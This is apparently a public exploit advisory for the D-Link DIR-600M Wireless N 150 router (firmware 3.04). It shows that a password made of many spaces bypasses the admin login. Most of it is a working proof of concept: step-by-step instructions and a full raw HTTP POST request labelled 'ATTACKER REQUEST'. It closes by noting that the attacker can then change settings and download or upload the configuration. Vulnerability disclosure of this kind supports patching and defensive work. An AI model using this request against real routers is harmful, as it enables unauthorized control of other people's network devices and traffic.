D-Link DIR-600M Wireless N 150 – Authentication Bypass
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass # Date: 19-05-2017 # Software Link: http://www.dlink.co.in/products/?pid=DIR-600M # Exploit Author: Touhid M.Shaikh # Vendor : www.dlink.com # Contact : http://twitter.com/touhidshaikh22 # Version: Hardware version: C1 Firmware version: 3.04 # Tested on:All Platforms 1) Description After Successfully Connected to D-Link DIR-600M Wireless N 150 Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's Admin Panel Just by Feeding Blank Spaces in the password Field. Its More Dangerous when your Router has a public IP with remote login enabled. For More Details : www.touhidshaikh.com/blog/ IN MY CASE, Router IP : http://192.168.100.1 Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring 2) Proof of Concept Step 1: Go to Router Login Page : http://192.168.100.1/login.htm Step 2: Fill username: admin And in Password Fill more than 20 tims Spaces(" ") Our Request Is look like below. -----------------ATTACKER REQUEST----------------------------------- POST /login.cgi HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/login.htm Cookie: SessionID= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 84 username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send --------------------END here------------------------ Bingooo You got admin Access on router. Now you can download/upload settiing, Change setting etc. -------------------Greetz---------------- TheTouron(www.thetouron.in), Ronit Yadav ----------------------------------------- |